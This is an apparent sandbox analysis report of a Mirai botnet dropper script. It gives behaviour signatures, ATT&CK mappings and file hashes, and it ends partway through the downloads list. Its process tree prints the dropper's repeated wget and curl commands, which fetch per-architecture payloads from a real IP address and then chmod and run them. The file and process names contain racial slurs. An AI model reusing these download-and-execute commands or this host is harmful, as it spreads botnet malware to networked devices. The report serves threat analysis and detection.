mirai | 1c2b832a264649154e6f7755c395b0295902d7da7ab6a2c07518173253ab4b25

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
18/01/2025, 21:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
Size

2KB
MD5

b444440af8065a87c9766033020d3e3d
SHA1

5d192efc242f88030b0f75bd0876a57ef96fca33
SHA256

1c2b832a264649154e6f7755c395b0295902d7da7ab6a2c07518173253ab4b25
SHA512

e066e8ce5aea832bc4a4b4722d4556abd2e5be010d84119b0bdc6eff69612d41b30934b63262e7531c8766ff0dd4140432ec2feb1f651932fc60df4a27d04dff

Score

10^/10

mirai mirai botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1597	chmod
1633	chmod
1615	chmod
1624	chmod
1511	chmod
1570	chmod
1579	chmod
1588	chmod
1606	chmod
1520	chmod
1528	chmod
1534	chmod
1543	chmod
1552	chmod
1561	chmod

Deletes itself 1 IoCs

pid	Process
1512	HAHAWTFNIGGA

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/HAHAWTFNIGGA	1512	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1521	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1530	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1535	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1544	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1553	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1562	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1571	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1580	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1589	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1598	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1607	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1616	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1625	HAHAWTFNIGGA
/tmp/HAHAWTFNIGGA	1634	HAHAWTFNIGGA

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	HAHAWTFNIGGA
File opened for modification	/dev/misc/watchdog	HAHAWTFNIGGA

UPX packed file 18 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx
behavioral1/files/fstream-4.dat	upx
behavioral1/files/fstream-13.dat	upx
behavioral1/files/fstream-15.dat	upx
behavioral1/files/fstream-17.dat	upx
behavioral1/files/fstream-19.dat	upx
behavioral1/files/fstream-21.dat	upx
behavioral1/files/fstream-23.dat	upx
behavioral1/files/fstream-25.dat	upx
behavioral1/files/fstream-27.dat	upx
behavioral1/files/fstream-29.dat	upx
behavioral1/files/fstream-31.dat	upx
behavioral1/files/fstream-33.dat	upx
behavioral1/files/fstream-35.dat	upx
behavioral1/files/fstream-37.dat	upx
behavioral1/files/fstream-39.dat	upx
behavioral1/files/fstream-40.dat	upx
behavioral1/files/fstream-42.dat	upx

Changes its process name 1 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1512	HAHAWTFNIGGA

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1514	wget
1517	curl
1519	cat

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arc	curl
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/i686	curl
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/ppc	curl
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/m68k	curl
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/HAHAWTFNIGGA	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm7	curl
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/arc	wget
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/spc	curl
File opened for modification	/tmp/sh4	curl
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/i468	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/spc	wget

/tmp/GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
1⤵
- Writes file to tmp directory
PID:1503
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/x86
  2⤵
  - Writes file to tmp directory
  PID:1504
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/x86
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/cat
  cat x86
  2⤵
  PID:1510
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:1512
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1517
- /bin/cat
  cat mips
  2⤵
  - System Network Configuration Discovery
  PID:1519
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1521
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/arc
  2⤵
  - Writes file to tmp directory
  PID:1523
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/arc
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/cat
  cat arc
  2⤵
  PID:1527
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1530
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/i468
  2⤵
  PID:1531
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/i468
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/cat
  cat i468
  2⤵
  PID:1533
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA i468 mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1535
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/i686
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/i686
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/cat
  cat i686
  2⤵
  PID:1542
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1544
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1547
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/cat
  cat x86_64
  2⤵
  PID:1551
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1553
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/mpsl
  2⤵
  - Writes file to tmp directory
  PID:1555
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/mpsl
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/cat
  cat mpsl
  2⤵
  PID:1560
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1562
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/arm
  2⤵
  - Writes file to tmp directory
  PID:1564
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/arm
  2⤵
  - Writes file to tmp directory
  PID:1567
- /bin/cat
  cat arm
  2⤵
  PID:1569
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1571
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/arm5
  2⤵
  - Writes file to tmp directory
  PID:1574
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/arm5
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/cat
  cat arm5
  2⤵
  PID:1578
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1580
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/arm6
  2⤵
  - Writes file to tmp directory
  PID:1583
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/arm6
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/cat
  cat arm6
  2⤵
  PID:1587
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1588
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1589
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/arm7
  2⤵
  - Writes file to tmp directory
  PID:1591
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/arm7
  2⤵
  - Writes file to tmp directory
  PID:1594
- /bin/cat
  cat arm7
  2⤵
  PID:1596
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1597
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1598
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/ppc
  2⤵
  - Writes file to tmp directory
  PID:1601
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/ppc
  2⤵
  - Writes file to tmp directory
  PID:1603
- /bin/cat
  cat ppc
  2⤵
  PID:1605
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1606
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1607
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/spc
  2⤵
  - Writes file to tmp directory
  PID:1610
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/spc
  2⤵
  - Writes file to tmp directory
  PID:1612
- /bin/cat
  cat spc
  2⤵
  PID:1614
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1615
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1616
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/m68k
  2⤵
  - Writes file to tmp directory
  PID:1618
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/m68k
  2⤵
  - Writes file to tmp directory
  PID:1621
- /bin/cat
  cat m68k
  2⤵
  PID:1623
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1624
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1625
- /usr/bin/wget
  wget http://94.158.245.27/GOONGANGONTOP/sh4
  2⤵
  - Writes file to tmp directory
  PID:1628
- /usr/bin/curl
  curl -O http://94.158.245.27/GOONGANGONTOP/sh4
  2⤵
  - Writes file to tmp directory
  PID:1630
- /bin/cat
  cat sh4
  2⤵
  PID:1632
- /bin/chmod
  chmod +x config-err-Z2iRmj GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA mips netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-huZZs6 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1633
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  - Executes dropped EXE
  PID:1634

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/arc

Filesize
97KB

MD5
dbb165f0dd906ff0d2afcf53c472c4e0

SHA1
d930adbb59617ad638a0de0e305224f6fd583f78

SHA256
b013525c74ca530fbf68b4691cf0ef1d749be21f006e7a43b641a9a66f2c1d00

SHA512
239266053bcb008bac48f8f7685cc71a8c122ea8cfd67250b8d24e587c8e6ddf556774163bff14bbd6e149a0862577c1b38802505ba93ed141e9d39acdbad284

Download Submit
/tmp/arc

Filesize
2KB

MD5
0610f661cdf833978fb2954b518d69e6

SHA1
5f9460b84d5ff85940c488887a750b5047084fed

SHA256
9689255df51c838a06634e1204eda6a6ac7be15d8565257f3a77005a4f116811

SHA512
18480c38d70d6001225585acfe88eb3e326e07117aeb823d47f7e31ac49bfef6827929fadc84764f12c849367afd2d53b9e8a38ebb7572db05056e622662cbd2

Download Submit
/tmp/arc

Filesize
97KB

MD5
b9e219c241ca928d16f15a81d7c29d7d

SHA1
02405e1246b6ba3c5737dd6f15408f91a82d9e38

SHA256
a5be0f276938fd439b327373da404eb741b7afc1fdeeef31b5dd16371f44139c

SHA512
3fd04ea322f1919618c1b5e0783b9d9ab0fc3738021f330d9cafd4d848de1171e754a872e47c74046e27ff1e8c987526687f79452a900efe3e4f21cbdc9c452b

Download Submit
/tmp/arc

Filesize
12KB

MD5
24fb2843fc5ebef8c2fabac255612e79

SHA1
8c996f7e70c987541e7142fdfc9e0f6f937c846e

SHA256
212808c81489a7ba6fd0a93f9415701b139d97b647e452fe397f2726f42dc044

SHA512
f3727804777af885a5b23126c2fb0137babecd6546a0daaec6c58bf6b2a41b972f2fff641cf3dd0240fe3d2dea57622b30982099933aecec709183136a4719a8

Download Submit
/tmp/arm

Filesize
12KB

MD5
9de7bcce6bc3283f19f251dc59d6ccf9

SHA1
b06972b30b7be420c8e252d10b5e303de350ae68

SHA256
e23b0c51f57ad5f5abca585cce28891dd2b4087813242a5990bf2f201ed6dd33

SHA512
d29f0b0a0720ee001a7e743d9bb8c1530781dc1f6b069d77ecbca16b35d6f9782d676cff79a82187c063777170c588ca45c8afd54be3b5af6b02d9578eeeb297

Download Submit
/tmp/arm

Filesize
27KB

MD5
f33c88bbd28d4a7f1e653382225fb8b6

SHA1
0d60c7bcc55cb0d2284f1a4c0075da8eb7d514f3

SHA256
6664e02182d4e6f817223f901c6d7d6c7c3caa077b9124a188043a50110abfda

SHA512
025d512a9825415961c217350bf8237568968553aa94b26c7862859880d5de8b43c97661600b5e206ba53b94edf3ae2f9b5aece1ad81a917d3d556ee54e0187e

Download Submit
/tmp/arm

Filesize
12KB

MD5
dc6b8703ef70344d21d7a4156fa463c5

SHA1
f973691384f52a4e32e17c550d5af289257a4d35

SHA256
4f1c88e6fb58ace7d43ce21d775d1900e0097e2cdc2d5d6eec6a844201838f34

SHA512
4b7193b3df77838b81b9438cadc6561c90cfda5b2f0058d53f92b60dae6c541da67bd86a29bb9529ba6f1f96be76678d28d807f048beeb97d3f209b942216925

Download Submit
/tmp/arm

Filesize
27KB

MD5
00fe6134cfd7ede701c17c84619d6483

SHA1
20b8bc88b182af0425372f4c8fdaf458e16b612a

SHA256
0eb58f5753454145c3c10e94667c98d81ee30875a9f38a598fb45128b3b7c8a6

SHA512
897f7b390094fba1409595f16b1d068cb55e07d4fd9892d1c14d22c835ce3cf6b5a4fd9f5664b03b35642121869ded80bdb64697b200bd981539a2a07ad14c74

Download Submit
/tmp/arm5

Filesize
12KB

MD5
1f792e8652d10d36622751dc5efdec96

SHA1
83940c88e85a9160ac68a4093b40d669e1613156

SHA256
7f9ab2bc49330818266c357f3bb15070ce0a1b8c4cccdb57fd285bc80a9c746e

SHA512
0b5957013bf3244db93b26a89c428eaa008e5fe9d90c5f1779c64148e0f8874abb0ec5f772e4345fb13feb59424c778ab6a3d1f5612b6ad266fd95b65d43812b

Download Submit
/tmp/arm5

Filesize
17KB

MD5
5b4c97c246b5b1aabadfa0b5527c6390

SHA1
dad8ecfd132b9a8bdea4020781d28caf39674119

SHA256
d3ff1eb1bccac421d1842883540b9db98009790e62fac3a3d4ed3d7376b2eea1

SHA512
0ee81d79328db270570d359c39bfff902b70599892e7efc0863d4cb3e75ba2a875abb1c38c5025a80a144ffe9a601a5225d38fc7acd8446f6a55a1e0592a8194

Download Submit
/tmp/arm5

Filesize
12KB

MD5
787ee03bf0e6b7cb599c1a95f18703e8

SHA1
ed35ce56ca56c8149d731f8e9a868047d79753a9

SHA256
3da35911cde91129814ddc3817670e00b47c8f468f6aa0792390c861265d218e

SHA512
695b5322ee2b5c50217bca5069e36c5af04071a669809db8552e48e547fafafececcc8545685d13516c674c89bc400a6819dbb549cd35afecb2cd1d6ae448058

Download Submit
/tmp/arm5

Filesize
17KB

MD5
0b60c0014f56c497b5af936de7a5be79

SHA1
59cbf396eea99638be50ef9b30359c4ae79efec4

SHA256
0675f1b06cf8878e5cb771ada7294c3feef5187a26c89bbbc11b35160d2f5d04

SHA512
b6852a579426aa9a72b4e95543e27116eb7ea7db3600a553508bbe200a98bd12c485616159e48cd798e1a0e3a656f738378347ca206b169b2caf36b5abf980ca

Download Submit
/tmp/arm6

Filesize
12KB

MD5
dd2dde9f3ce95542e6015ac8bca9c20a

SHA1
11cbbacd1ea3c1e4853d99cc03dc8295b163f592

SHA256
1e8f946c9f4ed4ac0ea3d2410ce336e57a915f8985325ebd2a365446056d7b9f

SHA512
04fd783f47ded7b19dad50606dda7f5ae04e617b0b873555d40e0123d030c983a2f67957e37509d4a8e0b1e929edc4d6b62b49f730cec16b0f5463a8309e5b26

Download Submit
/tmp/arm6

Filesize
32KB

MD5
88b627f2e29daa95d21b2965894f8deb

SHA1
ecc08bf895b6a8974cc251b9494f8892ac6fa1dd

SHA256
410a068f7460d62dfd90163542aaebbd31a5a9c98077d6dd595d27a6341595ce

SHA512
bc2756859495dd019c734d48c5aed7835f1319558e81ec99b8d10cfba9ebcb4966e0a172982db34f0c7bc4c58d1a3e7463214e279fdc08679619ea21c8cc098c

Download Submit
/tmp/arm6

Filesize
12KB

MD5
f003577732dd2d63b56134e3f869fc94

SHA1
5bdcf6fb678cb99c30d4d4199566d7e817ca6897

SHA256
9ea0183447ed1760b757095de0b8730fd3e50ee1d93f18fe4592642c0793af0a

SHA512
9608403b2f62b2d95977957f54a3824c3992e8d472b6100c4544a6bfb3f6089cc53fa8d9236f95d7852bcc1c92c05d48a58b53e3cf69e163c154e2252cf9204a

Download Submit
/tmp/arm6

Filesize
32KB

MD5
